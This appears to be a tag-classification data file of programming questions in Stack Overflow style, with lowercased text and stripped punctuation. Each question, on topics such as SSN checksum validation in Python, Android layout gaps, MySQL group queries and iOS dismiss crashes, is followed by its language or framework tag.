how can i debug my social security number validation code   i am trying to validate a ssn  that should be in format: xxxcd1d2m1m2y1y2.  xxx  are consecutively assigned digits   c  is the checksum digit   dd  donates the day   mm  the month and  yy  the year of birth.   <pre><code>c == (x1*3 + x2*7 + x3*9 + d1*5 + d2*8 + m1*4 + m2*2 + y1*1 + y2*6) % 11 </code></pre>   the number should have exactly 10 digits (not more or less). of course <strong>c</strong> should be according to the formula and date format should be right. here is what i ve got so far:   <pre><code>from datetime import datetime  def is_valid(digit_list):     ssn=list(digit_list)     x1  x2  x3  c  d1  d2  m1  m2  y1  y2 = [int(digit) for digit in digit_list]     date=digit_list[4:]      if len(ssn) == 10 and c == (x1*3 + x2*7 + x3*9 + d1*5 + d2*8 + m1*4 + m2*2 + y1*1 + y2*6) % 11 and date==datetime.strptime(date  %d%m%y ):         print(true)     else:         print(false) </code></pre>   example of valid number: 5446180993,python
unwanted space apearing above linear layout  this is my layoutactivity  and above the <code>linearlayout</code> where are the  no  name  price and change 24h.  appear a big gap on my phone (samsung s7)  look <a href= https://i.stack.imgur.com/eh4vb.png  rel= nofollow noreferrer >here</a>. on my android studio virtual machine  there isn t one  look <a href= https://i.stack.imgur.com/xwjtu.png  rel= nofollow noreferrer >here</a>. what is causing this gap and how to fix it      i include the layoutactivity code:   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;relativelayout xmlns:android= http://schemas.android.com/apk/res/android      xmlns:app= http://schemas.android.com/apk/res-auto      xmlns:tools= http://schemas.android.com/tools      android:layout_width= match_parent      android:layout_height= match_parent      tools:context= .homeactivity &gt;       &lt;linearlayout         android:layout_width= match_parent          android:layout_height= wrap_content          android:orientation= horizontal          android:background= @android:color/white          android:elevation= 10dp          android:weightsum= 3 &gt;          &lt;button             android:id= @+id/home_button              style= @style/widget.appcompat.button.borderless              android:layout_width= 0dp              android:layout_height= wrap_content              android:layout_alignparentstart= true              android:layout_alignparenttop= true              android:layout_weight= 1              android:background= #5078909c               android:text= overview              android:textstyle= bold  /&gt;          &lt;button             android:id= @+id/portfolio_button              style= @style/widget.appcompat.button.borderless              android:layout_width= 0dp              android:layout_height= wrap_content              android:layout_alignparenttop= true              android:layout_centerhorizontal= true              android:layout_weight= 1              android:background= @android:color/white              android:text= portfolio  /&gt;          &lt;button             android:id= @+id/settings_button              style= @style/widget.appcompat.button.borderless              android:layout_width= 0dp              android:layout_height= wrap_content              android:layout_alignparentend= true              android:layout_alignparenttop= true              android:layout_weight= 1              android:background= @android:color/white              android:text= settings  /&gt;     &lt;/linearlayout&gt;      &lt;button         android:id= @+id/refresh_button          style= @style/widget.appcompat.button.borderless          android:layout_width= match_parent          android:layout_height= wrap_content          android:layout_alignparentbottom= true          android:layout_alignparentstart= true          android:layout_marginstart= 0dp          android:text= refresh  /&gt;      &lt;listview         android:id= @+id/coinlist          android:layout_width= match_parent          android:layout_height= 385dp          android:layout_alignparentbottom= true          android:layout_alignparentstart= true          android:layout_marginbottom= 48dp  &gt;      &lt;/listview&gt;      &lt;linearlayout         android:layout_width= match_parent          android:layout_height= 30dp          android:layout_above= @+id/coinlist          android:background= @android:color/white          android:layout_alignparentend= true           android:elevation= 10dp          android:orientation= horizontal &gt;          &lt;textview             android:layout_width= 60dp              android:layout_height= 30dp              android:layout_alignparentstart= true              android:layout_below= @+id/background_for_buttons              android:layout_weight= 1              android:background= #803f51b5              android:gravity= center              android:text= no              android:textcolor= #ff000000              android:textstyle= bold  /&gt;          &lt;textview             android:id= @+id/textview2              android:layout_width= 128dp              android:layout_height= 30dp              android:layout_alignparentstart= true              android:layout_below= @+id/background_for_buttons              android:layout_weight= 1              android:background= #803f51b5              android:gravity= center              android:text= name              android:textcolor= #ff000000              android:textstyle= bold  /&gt;          &lt;textview             android:id= @+id/textview4              android:layout_width= 128dp              android:layout_height= 30dp              android:layout_below= @+id/background_for_buttons              android:layout_centerhorizontal= true              android:layout_weight= 1              android:background= #803f51b5              android:gravity= center              android:text= price              android:textcolor= #ff000000              android:textstyle= bold  /&gt;          &lt;textview             android:id= @+id/text_view_test              android:layout_width= 128dp              android:layout_height= 30dp              android:layout_alignparentend= true              android:layout_below= @+id/background_for_buttons              android:layout_weight= 1              android:background= #803f51b5              android:gravity= center              android:text= change 24h.              android:textcolor= #ff000000              android:textstyle= bold  /&gt;      &lt;/linearlayout&gt;  &lt;/relativelayout&gt; </code></pre>,android
angular js get object by id from $routeparams  i d like to retrieve an object by id from the server using the $routeparams.    my problem is the $routeparams only has access to the  slug  of the item. here is my current code.    controller:   <pre><code>dataservice.getvolunteerbyid($routeparams.id) .then(getvolunteersuccess)   .catch(errorcallback);     function getvolunteersuccess(data) {     $scope.volunteer = data;   } </code></pre>   service:   <pre><code>  function getvolunteerbyid(volunteerid) {     return $http({     method:  get       url:  /api/vol/  + volunteerid   })   .then(sendresponsedata)   .catch(sendgetvolunteererror); } </code></pre>   the current code is just appending the slug field instead of the id.,angularjs
can you implement ienumerable .contains compatibility for your class   if for example  i have a class called  banana  and i make a list of its instances  say  bananas  then when i call bananas.contains(&lt; some instance of banana >) it checks if the banana list contains the same reference.    is it possible to make it check for the value instead though (whatever i might designate as the value to compare)  sort of like it works with list(of string),.net
angular client side validation special case <pre><code>&lt;input id= declarationacknowledgement  name= declarationacknowledgement  ng-false-value= false  ng-model= formdata.declarationacknowledgement  ng-true-value= true  type= checkbox  /&gt;  &lt;label data-localize= i agree  for= declarationacknowledgement  &gt;i agree&lt;/label&gt;  &lt;div class= pw-form-inline-error  data-localize= accept to proceed  ng-show= (peopleworksform.declarationacknowledgement.$dirty || peopleworksform.submited)  &amp;&amp; formdata.declarationacknowledgement !=  true  &gt;accept to proceed&lt;/div&gt; </code></pre>   this is my view side inside my controller i set   form.submited = true     what i want is if the user check the check box if value is not equals to  true  set the form.$valid false from view side not in controller how can i do this. can any one help me,angularjs
load angular form using ajax then bind md-select after this show error  error: [$compile:ctreq] controller  mdselectmenu   required by directive  mdoption   can t be found!,angularjs
debugging the exec_bad_access on iphone using performance tool  allocations  an error is caught  using zombie  cfstring    foundation library<br> caller  {nsplaceholdermutablestring int] malloc    cfstring    foundation library<br>  caller  {nsplaceholderstring initwithformat:locale} zombie    well it didn t drop to where i declared. i have no idea where that nsmutablestring is called and which variable it is,iphone
getting the weight(percentage) of 1 variable from 3 numbers  i am building a feedback system: positive  neutral and nagative  i want to get the positive percentage somehow.    <pre><code>$positive = 4; $neutral = 1; $negative = 1 </code></pre>   so i am trying to get something like 50%. i have tried    <pre><code>$positive / $neutral + $negative;  $positive / $neutral + $negative * 10; </code></pre>   none seem to get the right value.,php
add button to white background nspopover  but the button has shadow area  all:    i have one customized nspopover  and i set it s background color into white. then i add one button without border into the viewcontroller  and put the viewcontroller into the nspopover. the question is that  there will be shadow area for the button in this nspopover  could someone have any ideas about this  the issus is also exist for label. the customized  nspopover code is as follow:    <a href= https://github.com/shergin/nspopover-missingbackgroundview  rel= nofollow noreferrer >https://github.com/shergin/nspopover-missingbackgroundview</a>    and the result is:<a href= https://i.stack.imgur.com/69hd4.png  rel= nofollow noreferrer >the final result of adding button to nspopover</a>,objective-c
large float array constants in separate class  the following array x is not large  but it is my example array.   <pre><code>float x[4] = {1.0f  2.0f  4.0f  8.0f}; </code></pre>   say  i want to use the array in my viewcontroller <code>bsviewcontroller.h/.m</code> . i have included <code>bsparam.h</code> in <code>bsviewcontroller.h</code>  but i don t know what else to do to use <code>x</code> in <code>bsviewcontroller.m</code>    below is the code so far for my class which will containt my constant arrays.   <pre><code>// //  bsparam.h  #import &lt;foundation/foundation.h&gt;  @interface bsparam : nsobject  @end    // //  bsparam.m  #import  bsparam.h   @implementation bsparam  #include &lt;stdio.h&gt;   float x[4] = {1.0f  2.0f  4.0f  8.0f};  @end </code></pre>,objective-c
overlaying multiple png images  good evening.  my problem is this:    i am rendering information on extrasolar planets from a database.  when queried (php/mysql)  each planet renders as a .png based on its type and is given a height and width depending on its size (max of 150px)  and is centered within a table cell.  what i want to do is to overlay multiple .pngs for clouds and other textures  which would be the same size and also centered within the table cell.    <a href= http://w.tarazedi.com/image1100  rel= nofollow >http://w.tarazedi.com/image1100</a> is an image of the problem.    i know how i would do this with absolute positioning and z-index if the page were static  but do not know how to do it with dynamic content.  also i do not know how to do it as a generic property (rather than having a css definition for each rendered planet).,css
editing of compiled resource file dll s  i am globalizing my application to accommodate english and norwegian language. so i have created two files named xx.resx file and xx.nb-no.resx. after the compilation  i need to give this resource file dll to someone who knows norwaegian to edit. how can i achieve this,.net
send text message through javascript to external service  since javascript doesn t support external (cross-domain) httprequest  is it still possible to send text message to external service using javascript      <strong>in the case  the external service is not in our control. so  it s not possible to add  access-control-allow-origin:*  in the remote site.</strong>    by the way  to add a php in the local site is not the option  too.,javascript
what is the plus (+) symbol in objective-c #import instructions   for example:    <pre><code>#import  nsarray+bbnsarrayadditions.h  </code></pre>   i ve tried googling it and looking on the apple developer documentation but i can t find an explanation.    a link or explanation of any other import tokens would also be useful.    thanks.,objective-c
is there a way to cut and paste or clone css from one element to another using jquery   i have a situation where i m wrapping an image with a span and i want to remove all the css from the image and apply it to the span. is there a way to do this with jquery     jquery:   <pre><code>$(img).wrap( &lt;span /&gt; ); </code></pre>   style sheet:   <pre><code>img { border: 5px solid red; padding: 10px; … needs to allow for anything } </code></pre>   i would like to do this with out editing the html or css. i need a way to truly remove the css from one element and place it on another.,jquery
mysqli_free_result - select successful  but still getting warning  i have a problem whereby i am running a select query that returns a valid result set. i process the results using mysqli_fetch_assoc and then pass the result set to mysqli_free_result  which returns false. i have done a var_dump of the result before and after the call to confirm it is a valid result (seems to be to me - i can access the data i expect to). the query i am running is something like:   <pre><code>        select us.user_session_key               u.user_key               ut.code as user_type         from    t_user u                 inner join t_user_type ut on u.user_type_key = ut.user_type_key                 inner join t_user_session us                     on u.user_key = us.user_key         where   u.email =  tim.super@en.com          and     us.session_id =  mjsvu6fru3dtfk1bbs59fc8t20          and     us.expired_yn =  n          order by 1 desc </code></pre>   var dump of the result object:   <pre><code>object(mysqli_result)#2 (5) {   [ current_field ]=&gt;   int(0)   [ field_count ]=&gt;   int(3)   [ lengths ]=&gt;   null   [ num_rows ]=&gt;   int(1)   [ type ]=&gt;   int(0) } </code></pre>   i am using similar to the following code to process query/result:   <pre><code>$result = mysqli_query ( $conn  $sql ); if ($result) {     var_dump($result);     if (preg_match( /^[[:space:]]*select/i   $sql) == 1) {         while ($row = mysqli_fetch_assoc ( $result )) {             $return_val[sizeof($return_val)] = $row;         }          if (!clear_results($result)) {             print  error:  .$sql;         }     } } else {     http_response_code(401);     print $sql .  \n ;     print mysqli_error($conn);     die( error ); } function clear_results($result) {     global $conn;      if ($result) {         if (!mysqli_free_result ( $result )) {             return false;         }     }      while (mysqli_more_results($conn)) {         mysqli_next_result($conn);         mysqli_free_result(mysqli_store_result($conn));     }      return true; } </code></pre>,mysql
unable to show and hide div in an each loop <pre><code>&lt;!doctype html public  -//w3c//dtd html 4.01//en   http://www.w3.org/tr/html4/strict.dtd &gt; &lt;html&gt;     &lt;head&gt;         &lt;title&gt;&lt;/title&gt;         &lt;script src= http://ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js &gt;&lt;/script&gt;          &lt;script type= text/javascript &gt;             $(document).ready(function(){               $( .a_faq ).each(function(i){              $(this).find( .question ).click(function(){ $(this).find( .answer ).show();   });              });                });          &lt;/script&gt;     &lt;/head&gt;     &lt;body&gt;      &lt;div class= a_faq &gt;         &lt;div class= question &gt;where is everyone &lt;/div&gt;         &lt;div style= display:none;  class= answer &gt;there&lt;/div&gt;     &lt;/div&gt;     &lt;div class= a_faq &gt;         &lt;div class= question &gt;where is the closest starbucks&lt;/div&gt;         &lt;div style= display:none;  class= answer &gt;there&lt;/div&gt;     &lt;/div&gt;     &lt;div class= a_faq &gt;         &lt;div class= question &gt;where are my glasses &lt;/div&gt;         &lt;div style= display:none;  class= answer &gt;there&lt;/div&gt;     &lt;/div&gt;      &lt;/body&gt; &lt;/html&gt; </code></pre>   after clicking the question i want the ability to show and hide the repesctive answer. if possible  close other answers that are open.     im stuck at this point  and don t know what to do.,jquery
email and password cann t retain when encrypted data using sharedpreferences  i am using aeshelper to create encrypt and decrypt .email and password can encrypt and decrypt.but when i decrypt the encrypted data cann t save email and password when i reopened the application.i am using sharedpreferences to save email and password.i passed encrypted data from login button event function.how can i do that please help.sorry for my stupid question.    <strong>here is piece of my code</strong>   <pre><code>    private void loadsavedpreferences() {         try {              sharedpreferences sharedpreferences = preferencemanager                     .getdefaultsharedpreferences(getapplicationcontext());               string name = sharedpreferences.getstring( storedname    );              string pass = sharedpreferences.getstring( storedpass    );               string decrypted_username = aeshelper.decrypt(keyvalue  name);              string decrypted_password = aeshelper.decrypt(keyvalue  pass);              log.v( encryptdecrypt    decoded string username   + decrypted_username);              log.v( encryptdecrypt    decoded string password  + decrypted_password);              memailview.settext(decrypted_username);              mpasswordview.settext(decrypted_password);          } catch (exception e) {              e.printstacktrace();             // log.v( encryptdecrypt    decoded string  +e.getmessage() );         }   private void savepreferences(string key  string value) {         sharedpreferences sharedpreferences = preferencemanager                 .getdefaultsharedpreferences(this);         sharedpreferences.editor editor = sharedpreferences.edit();         editor.putstring(key  value);         editor.commit();      } </code></pre>,android
my script doesn t work as expected  this is the button   <pre class= lang-php prettyprint-override ><code>&lt;a href= index.php p=contact &gt;contact&lt;a&gt; </code></pre>   this is the php script:   <pre class= lang-php prettyprint-override ><code>&lt; php $p = isset($_get[ p ]);  if($p ==  artist ) {     include  artist.php ;    }  if($p ==  contact ) {     include  contact.php ;   }  if($p ==  releases ) {     include  releases.php ;  }  if($p ==  downloads ) {     include  downloads.php ;     }  else {     include  home.php ;  }  &gt; </code></pre>   so my script should include <code>contact.php</code> when i hit the button  but instead of including only <code>contact.php</code> it includes all php files. (this happens also with the other buttons).,php
strange dismissviewcontrolleranimated crash - ios 8  my app is crashing  only in ios 8.4  when i try to <code>dismissviewcontrolleranimated:no</code>  just after an alert with an <code>uitextfield</code>.    changing to animated <code>yes</code> it s working well  but i guess that s the not properly fix.   <hr>   code: (<code>uimodalpresentationcurrentcontext</code> modal)   <pre><code>- (ibaction)openalertwithtextfield:(id)sender {     uialertview * alert = [[uialertview alloc] initwithtitle:@   message:@ type a number:  delegate:self cancelbuttontitle:@ cancel  otherbuttontitles:@ confirm   nil];     [alert setalertviewstyle:uialertviewstyleplaintextinput];     uitextfield * alerttextfield = [alert textfieldatindex:0];     [alerttextfield setkeyboardtype:uikeyboardtypenumberpad];     [alerttextfield setdelegate:self];     [alert show]; }  #pragma mark - uialertviewdelegate - (void)alertview:(uialertview *)alertview clickedbuttonatindex:(nsinteger)buttonindex {     if (buttonindex == 1) {         // crash         [self dismissviewcontrolleranimated:no completion:nil];          // no crash         [self dismissviewcontrolleranimated:yes completion:nil];     } } </code></pre>  <hr>   crash log:   <pre><code>crashed: com.apple.main-thread exc_bad_access kern_invalid_address 0x0000000000000010  crashed: com.apple.main-thread 0  libobjc.a.dylib                0x1981c7bd0 objc_msgsend + 16 1  uikit                          0x18b29c9dc -[uitextfield _shouldendediting] + 84 2  uikit                          0x18b21ac70 -[uiresponder resignfirstresponder] + 84 3  uikit                          0x18b29c8bc -[uitextfield resignfirstresponder] + 124 4  uikit                          0x18b29395c -[uiview(hierarchy) _removefirstresponderfromsubtree] + 208 5  uikit                          0x18b43effc __uiviewwillberemovedfromsuperview + 96 6  uikit                          0x18b16ac48 -[uiview(hierarchy) removefromsuperview] + 108 7  uikit                          0x18b47a94c __71-[uipresentationcontroller _initviewhierarchyforpresentationsuperview:]_block_invoke504 + 364 8  uikit                          0x18b476784 -[uipresentationcontroller transitiondidfinish:] + 112 9  uikit                          0x18b4790c0 __56-[uipresentationcontroller runtransitionforcurrentstate]_block_invoke_2 + 168 10 uikit                          0x18b292f64 -[_uiviewcontrollertransitioncontext completetransition:] + 132 11 uikit                          0x18b1a8708 -[uiviewanimationblockdelegate _didendblockanimation:finished:context:] + 408 12 uikit                          0x18b1a8270 -[uiviewanimationstate senddelegateanimationdidstop:finished:] + 188 13 uikit                          0x18b1a8178 -[uiviewanimationstate animationdidstop:finished:] + 104 14 quartzcore                     0x18aab162c ca::layer::run_animation_callbacks(void*) + 296 15 libdispatch.dylib              0x198831954 _dispatch_client_callout + 16 16 libdispatch.dylib              0x19883620c _dispatch_main_queue_callback_4cf + 1608 17 corefoundation                 0x1866af7f8 __cfrunloop_is_servicing_the_main_dispatch_queue__ + 12 18 corefoundation                 0x1866ad8a0 __cfrunlooprun + 1492 19 corefoundation                 0x1865d92d4 cfrunlooprunspecific + 396 20 graphicsservices               0x18feef6fc gseventrunmodal + 168 21 uikit                          0x18b1d6f40 uiapplicationmain + 1488 22 get in manager                 0x10006320c main (main.m:16) 23 libdyld.dylib                  0x19885ea08 start + 4 </code></pre>   zoombie:   <pre><code>2016-05-25 03:02:26.699 app[75590:5686413] *** -[myuiviewcontroller respondstoselector:]: message sent to deallocated instance 0x7ff1a2f7a7f0 </code></pre>,objective-c
what is reference counter and how does it work   i ve been writing code  and i m in a point where i should have another program calling my library. i should make a reference counter for the output of my library. basic idea as i have understood is that  i need to have reference counter struct inside my struct that i want to pass around. so my questions are following:   <ol> <li> what should i keep in mind when making a reference counter  </li> <li> what are complete don ts when making a reference counter  </li> <li> is there really detailed examples where to start with this   </li> </ol>   thank you for your answers in advance!,c
rails. working with data from existing ms sql database :(  this is my first post so please be patient with me... :)    i am learning rails at the moment and took  an internal project to help me and get proper handson practice.    the situation is like this: we have an existing ms sql server 2000 db with bunch of customers. usual stuff. i don t know who designed it but there is a huge table  customer  where all the details are.    soon we ll be moving customers out to a new company and need to track the movement. so the application should have the snapshot of the movement details for a particular customer: whether he was called on the phone  talked to or contacted by other means. notes of the conversation. whether he agreed to move. etc ...    so the original customer data should be pooled from ms sql and all the new tracking data should be in proper new rails db. i was considering few things: 1. pooling customer records from old db and doing the rest of the work in the new one. this one no good as my research shows that rails cannot work with two dbs at the same time. 2. connecting to just  old ms sql and doing all the work there creating new necessary tables. this one seems to be a lot of trouble.  odbc  adapter gives me errors.  sqlserver  adapter does not work with mssql 2000 plus  i predict lots of troublew working with existing  ms db. 3. this method i think is the most rational. dump the customer table from the old ms sql db to cvs and import it to the new sqlite db created for the rails app.    please let me know if you think of other methods to solve this problem.    with the third method i still see many problems which i would like help if possible. for instance  rails creates additional fields in the table so the data import might not work. or am i mistaken  is the third method sounds doable for you  do you see any pitfalls. suggestions     thanks very much.,ruby-on-rails
animation for the label that have content with length more than its own width  is there in ios something like android:ellipsize= marquee  like in android  i need to make text scrolling animation for label but i didn t find a way for doing it.    <strong>edit:</strong>    @ tomasz wojtkowiak : many thanks for your recommendations.    <strong>problem:</strong>    i have a label with a define width in pixels and the text that should be displayed in this label  and this text have for example double label width. i don t want to clip/wrap/trancate  i need to show the full message. in android for the textview there is a tag android:ellipsize= marquee  and in the above described case the text in the label will be autoscrolled from left to write(some kind of animation).    how can i do the such behavior in ios     thanks in advance.,ios
formatting data inside an a datatable  hi  i have an datatable like this. i need  to  format the data like this.   <pre><code>id    name        mailid 12    kumar       kumar@gmail.com 14    kumar       kumar@gmail.com 17    kumar       kumar@gmail.com 20    kiran       kiran@gmail.com 21    kiran       kiran@gmail.com 26    kiran       kiran@gmail.com 100   ram         ram@gmail.com 101   ram         ram@gmail.com 102   ram         ram@gmail.com </code></pre>   now  in  need  to  format the data like this in  a  datatable . can any one  help me  out  how  to  sort this  issue.   <pre><code>id           name        mailid  12 14 17     kumar       kumar@gmail.com  20 21 26     kiran       kiran@gmail.com  100 101 102   ram        ram@gmail.com </code></pre>   any help  would be  great     thanks    prince,c#
javascript second into minutes:seconds  i am working on a clock that needs to display seconds into a    <h2>minutes:seconds</h2>   format.     i have worked on some auxiliary functions for display  but i have never really gotten the full display. here is some of my code:    <pre><code>    var time = 1500;     //must declare timehandler as global variable for stoptimer()     var timehandler;     //set intial html to time     document.getelementbyid( timer ).innerhtml = display;      //timer function for start button     function timer() {       timehandler = setinterval(function() {         if (time &gt; 0) {           time--;           document.getelementbyid( timer ).innerhtml = time;         }       }  1000);     }      //stop function for stop button     function stoptimer() {       cleartimeout(timehandler);     } //timer display  var minutes = time/60;  var second = time%60;  var display = minutes +  :  + seconds; </code></pre>   html:    <pre><code>&lt;h1&gt; pomodoro clock&lt;/h1&gt; &lt;!--place holder for timer--&gt; &lt;div id= timer  class= circle &gt;timer&lt;/div&gt; &lt;!--//start button--&gt; &lt;button onclick= settimeout(timer  1000); &gt;start&lt;/button&gt; &lt;!--stop button--&gt; &lt;button onclick= stoptimer() &gt;stop&lt;/button&gt; </code></pre>,javascript
c++ in member initialization pass new object in constructor  in initializing the member variable theotherthing below  the otherthing class has a constructor that takes an object of type  line   but i m not passing an argline through someclass  constructor. i want to declare a new line object in the constructor  but i don t know how. i guess i could initialize it in the body of the constructor  and maybe i m trying to be too slick.     <pre><code>someclass::someclass(const polygon&amp; argpoly                       const point&amp;   argpoint)                      //no argline being passed here    :       thepolygon           (argpoly)        thepoint             (argpoint)        theotherthing        (new otherthing(line()))  //something like this                             //but  the above does not work                            //nor (new otherthing(line aline))                            //nor (new otherthing(new line())          {} </code></pre>   otherthing class has a constructor that takes an object of type  line    <pre><code>otherthing::otherthing(const line&amp; argline)    :       theline              (argline) {} </code></pre>   line has a default constructor that initializes its data members.   <pre><code>line::line() {   //data members get initilized here } </code></pre>   how do i do this  maybe i m over complicating it.    <strong>edit</strong>    declaration of theotherthing:   <pre><code>private :    otherthingptr theotherthing //it s an implementaion of c++ std::shrd_ptr </code></pre>   <strong>edit</strong>    line class   <pre><code>class line { public:    double this;    double that;    line();    ... some other constructors and methods  } </code></pre>   otherthing class   <pre><code>class otherthing : refcountedobj { public:    otherthing(const line&amp; argline)  private:    line  theline;    ... } </code></pre>,c++
javascript function - parameter length  i am calling a javascript function from hyperlink as shown below.    <pre><code>&lt;a href= javascript:redirect( param1   param2   http://google.com ); &gt;do this&lt;/a&gt; </code></pre>   in this case the redirect() function gets called as expected and redirected to the url in third parameter. but if the url parameter is a big one (lets say >200 characters)  javascript function never gets called. is there any limit on the parameter length  i do need the url to be that big because i am passing few encrypted parameters and they are huge......    ---------edit----------    here is one example of lengthy url parameter   <pre><code>&lt;a href= javascript:redirect( a-0    07    http://localhost:9083/xxxxx/aaa/bbbb/ccccc/redirectapply.do token=9bsptrgqpeywv6dvbp9hsx9skeghthnonkkztsqrkzxsf7gkqkrydo2i6cpclowxroqrwedhyosk%0d%0a1ad1tq0obhhfsvjpkb%2b1ksfzjcg8lkyogropgwc%2bc7oct8%2byitwx ); &gt; </code></pre>,javascript
adding buttons to ui navigation controller bottom bar  i am able to unhide the navigation controller bottom bar by using the following code    <pre><code>[self.navigationcontroller settoolbarhidden:no]; </code></pre>   but now i want to change the color of the bottom bar and also add buttons to that bottom bar. can any one please help me how to do that is there any delegate methods for that,iphone
in mysql  how can i find when a user has been linked to two specific groups   a user can have multiple groups assigned to them  but i want to find only users that belong to two specific groups. how would i do that     e.g. the user map table looks like this:   <pre><code>id | user_id | group_id ----------------------- 1  | 1       | 1 2  | 1       | 2 3  | 2       | 1 4  | 2       | 8 5  | 3       | 1 6  | 3       | 2 </code></pre>   i want to get all users who belong to <code>group_id</code> with <code>1</code> and <code>2</code> only.    so the result would be:   <pre><code>id | user_id | group_id ----------------------- 1  | 1       | 1 2  | 1       | 2 5  | 3       | 1 6  | 3       | 2 </code></pre>   i tried the following  but didn t work:   <pre><code>select um.* from user_map as um where (group_id =  1  and group_id =  2 ); </code></pre>   and   <pre><code>select um.* from user_map as um where (group_id =  1  or group_id =  2 ); </code></pre>   but got the wrong results.    essentially i want to be able to <code>group by user_id</code> so that i have a list of just unique users that belong to group <code>1</code> or <code>2</code>.,mysql
how can i make the file path  in order to find the correct files on any pc   i am making a program where i need 24 pictures and a text file. i have all the files on my computer  and i easily fetch them with this code:   <pre><code>picturebox1.image = image.fromfile( c:/users/myuser/documents/myfolder/mypicture.jpg ); </code></pre>   the problem is that this path is unique for my pc  not many have my username  if you have windows in a different languague if won t work either  and you would have to save the folder containing the program in documents.    what i need is in some way make the program search after the image files in the same folder where the program is  regardless where it is stored on the pc like this:   <pre><code>picturebox1.image = image.fromfile( /myfolder/mypicture.jpg ); </code></pre>   i think this is pretty basic  adding a picture to your program  in order to transfer it to other pcs  but i have not found the solution anywhere.    seems like the problem is solved  is there any way to set it to solved,c#
jquery select based on multiple attributes  i would like to select the (only) textbox where name =  something  and id= somethingelse . i can t quite get the selector (searchbyidandnamecriteria) right. this is an all (not any) multiple selector:   <pre><code>function setitemvalue(type) {     var searchbyidandnamecriteria =  [id=   + itemnum +   ][name=   + type +   ] ;      // example searchbyidandnamecriteria =  [id= 12345 ][name= case ]       var valuetochange = $(searchbyidandnamecriteria).val(); } </code></pre>,jquery
single touch detection in uiscrollview  first of all  i just want to say that i begin at objective-c.    here is the layout of my projet: mainview > scrollview inside mainview > imageview inside scrollview    both of mainview and scrollview are created in storyboard. all the imageview are created programmatically and as subview in scrollview.    i ve only one class nammed viewcontroller.    here is my question: how can i handle single touch on imageview inside my scrollview   let s me know if something is not clear.    update:   <pre><code>nsstring *imagepath = [nsstring stringwithformat:@ %@/%@ (%i).png   path  path  nbrimage];             cgrect myimagerect = cgrectmake(40  25 + (line*lenght)  75  75);             self.img = [[uiimageview alloc] initwithframe:myimagerect];             [self.img setimage:[uiimage imagenamed:imagepath]];              uitapgesturerecognizer* singletapgesturerecognizer = [[uitapgesturerecognizer alloc] initwithtarget:self action:@selector(handlesingletap:)];             singletapgesturerecognizer.numberoftapsrequired = 1;             singletapgesturerecognizer.numberoftouchesrequired = 1;                  singletapgesturerecognizer.cancelstouchesinview = no;             [self.img addgesturerecognizer:singletapgesturerecognizer];              [self.scrollview addsubview:self.img];  - (void)handlesingletapfrom:(uitapgesturerecognizer*)recognizer {     uiimageview* imageview = (id)recognizer.view;    nslog(@ test ); } </code></pre>   edit: that works  in @selector i ve write handlesingletap instead of handlesingletapfrom:,objective-c
drawing where touch is detected  how can pixels be drawn at a touch location     if the user touches a certain area of a view  how are the locations used to draw/mark the location with e.g black color     what kind of view is this or how is this drawing done,iphone
image rollover resulting in change of state of a different div  i m working on an instagram app which pulls in images into my web app using the instagram api. upon hover  a heart appears over the image. below the image  i have 3 divs which reflect i) the image caption  ii) the instagram username and iii) number of  likes . i ve colored the divs so they can be seen. see screengrab attached.     i want to reveal the blue and green divs only upon hover over the heart. what do i use to do this  is this a javascript technique or can it be done with css      also  my other idea was to reveal the number of  likes  on the heart itself. i will have to pass dynamic data into the heart in order to achieve this. would that have to be done using javascript as well       appreciate any advice - i m new to this. thank you!     <img src= https://i.stack.imgur.com/cpdyo.png  alt= front end of instagram app >,css
why variable does not changed after assigning new value   i have this code which changes the $date variable after submiting the form.    <pre><code>&lt; php      $date=date( m/d/y );  &gt;  &lt;form action=   method= post &gt;    &lt;input type= text  value=&lt; php echo $date  &gt; name= day1 /&gt;    &lt;button type= submit  name= btnfilter &gt;filter&lt;/button&gt; &lt;/form&gt;  &lt; php   if(isset($_post[ btnfilter ])){     $date=$_post[ day1 ];   }   echo $date;  &gt; </code></pre>   what i wanted to happen is default value of #day1 to be today. and when user change it and submit  page must echo the new date and value in the #day1  must be new user input. but in my code when user submit the form  value of #day1 become today(default value). what do i have to change,php
variables not defined in if statements for change counting program  i m making a change counter and i m having trouble printing the percentage for a grade  whenever i run the program i can enter as many inputs as i want  however  when i type done  which is supposed to terminate the program and leave the user with the percentage and letter grade  it just ends the program. if i could get any advice it would be greatly appreciated. here s my code:   <pre><code>grade=   total=0 count=1 scores=    while scores !=  done :     scores=input( enter homework score:  )     if scores.isdigit():         numeric=int(scores)         percentage=(numeric*10/count)     elif percentage &gt;= 92 and percentage &lt; 100:         letter =  a      elif percentage &gt;= 87 and percentage &lt; 92:         letter =  b+      elif percentage &gt;= 80 and percentage &lt; 87:         letter =  b      elif percentage &gt;=77 and percentage &lt; 80:         letter =  c+      elif percentage &gt;=70 and percentage &lt; 77:         letter =  c      elif percentage &gt;= 67 and percentage &lt; 70:         letter =  d+      elif percentage &gt;= 60 and percentage &lt; 67:         letter =  d      elif percentage &lt; 60 and percentage &gt;= 0:         letter=  f      elif (numeric) &lt; 0:         print( score must be between 0 and 10 )     elif (numeric) &gt; 10:         print( score must be between 0 and 10 )     elif (scores)==  done :          print(percentage  % and you got an    letter) </code></pre>,python
how to show custom cell with button inside on uitableview in swift   need some help to show the custom cell in uitableview on the bottom with button inside. i have added this but it not be shown in the simulator :( i dont know more.. see the attached image to understand the problem. big thank!    <a href= http://www.otrada.de/not-show-button.png  rel= nofollow >http://www.otrada.de/not-show-button.png</a>,ios
